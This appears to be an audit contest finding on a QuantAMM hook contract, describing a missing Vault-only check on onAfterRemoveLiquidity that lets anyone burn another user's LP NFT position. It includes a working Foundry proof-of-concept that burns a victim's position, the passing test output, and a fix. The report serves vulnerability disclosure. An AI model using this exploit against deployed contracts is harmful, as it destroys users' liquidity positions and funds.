QuantAMM
QuantAMM
49,600 OP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing Authorization Check on onAfterRemoveLiquidity Allows Arbitrary LP Token Burn

bshyuunn

01. Relevant GitHub Links

  • https://github.com/Cyfrin/2024-12-quantamm/blob/a775db4273eb36e7b4536c5b60207c9f17541b92/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L431C1-L441C1

02. Summary

The onAfterRemoveLiquidity function burns the user’s LP NFT token and deletes the user’s feeDataArray after removing liquidity. However, this function only checks onlySelfRouter(router) and does not verify whether the caller is the Vault. As a result, any user can directly invoke onAfterRemoveLiquidity, passing in an arbitrary userAddress, and burn someone else’s LP NFT tokens.

03. Vulnerability Details

Inside onAfterRemoveLiquidity, the contract checks:

function onAfterRemoveLiquidity(
address router,
address pool,
RemoveLiquidityKind,
uint256 bptAmountIn,
uint256[] memory,
uint256[] memory amountsOutRaw,
uint256[] memory,
bytes memory userData
) public override onlySelfRouter(router) returns (bool, uint256[] memory hookAdjustedAmountsOutRaw) {
​
address userAddress = address(bytes20(userData));
...
​

The code ensures the caller is the contract itself (onlySelfRouter(router)) but does not verify whether msg.sender is actually the Vault. Consequently, if the external Router address is set to address(this), a malicious user could call this function directly. Since userAddress is just taken from userData (which the attacker can set arbitrarily), the attacker could specify any victim’s address and proceed to burn that victim’s LP NFT token in the loop:

FeeData[] storage feeDataArray = poolsFeeData[pool][userAddress];
...
​
// if the deposit is less than the amount left to burn, burn the whole deposit and move on to the next
if (feeDataArray[i].amount <= localData.amountLeft) {
uint256 depositAmount = feeDataArray[i].amount;
localData.feeAmount += (depositAmount * feePerLP);
localData.amountLeft -= feeDataArray[i].amount;
lpNFT.burn(feeDataArray[i].tokenID);
...

Because burning the LP NFT effectively destroys the holder’s liquidity position, the victim can no longer withdraw or manage that particular stake.

04. Impact

An attacker can force arbitrary users’ LP NFTs to be burned without requiring those users to initiate any transactions themselves. This results in loss of liquidity and potentially unrecoverable funds for the victim since the position tied to the NFT is permanently destroyed. The overall impact is High, as it compromises user funds and can lead to a severe loss of trust in the protocol.

05. Proof of Concept

Below is a Foundry test demonstrating how an attacker can directly invoke onAfterRemoveLiquidity to burn Bob’s LP NFT token, preventing Bob from subsequently removing liquidity:

function test_poc_directLiquidityProportional() public {
// bob addLiquidity
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
​
// attack
vault.unlock(abi.encodeCall(this.attack_burn_bob_liquidity, ()));
​
// bob try removeLiquidity
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
​
vm.expectRevert();
vm.prank(bob);
upliftOnlyRouter.removeLiquidityProportional(bptAmount, minAmountsOut, false, pool);
​
}
​
function attack_burn_bob_liquidity() public {
bytes memory user = abi.encodePacked(address(bob));
uint256[] memory test = new uint256[]();
test[0] = 1;
test[1] = 1;
​
upliftOnlyRouter.onAfterRemoveLiquidity(address(upliftOnlyRouter), pool, RemoveLiquidityKind.PROPORTIONAL, bptAmount, test, test, test, user);
}

You can add the test script at the bottom of the file pkg/pool-hooks/test/foundry/UpliftExample.t.sol and execute the PoC by running the following command:

bshyuunn@hyuunn-MacBook-Air pool-hooks % forge test --mt test_poc_directLiquidityProportional
[⠢] Compiling...
[⠆] Compiling 1 files with Solc 0.8.26
[⠰] Solc 0.8.26 finished in 58.40s
Compiler run successful!
​
Ran 1 test for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] test_poc_directLiquidityProportional() (gas: 470332)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 37.70ms (3.06ms CPU time)
​
Ran 1 test suite in 259.85ms (37.70ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

06. Tools Used

Manual Code Review and Foundry

07. Recommended Mitigation

Add an onlyVault modifier (or an equivalent check) that ensures onAfterRemoveLiquidity can only be invoked by the Vault. For example:

function onAfterRemoveLiquidity(
address router,
address pool,
RemoveLiquidityKind,
uint256 bptAmountIn,
uint256[] memory,
uint256[] memory amountsOutRaw,
uint256[] memory,
bytes memory userData
- ) public override onlySelfRouter(router) returns (bool, uint256[] memory hookAdjustedAmountsOutRaw) {
+ ) public override onlyVault onlySelfRouter(router) returns (bool, uint256[] memory hookAdjustedAmountsOutRaw) {
​
address userAddress = address(bytes20(userData));
...
​

This ensures that only the legitimate Vault process can trigger the liquidity removal flow, preventing attackers from arbitrarily burning users’ LP NFTs.

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_onAfterRemoveLiquidity_no_access_control_wipe_all_data

Likelihood: High, anyone, anytime. Impact: High, Loss of funds

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!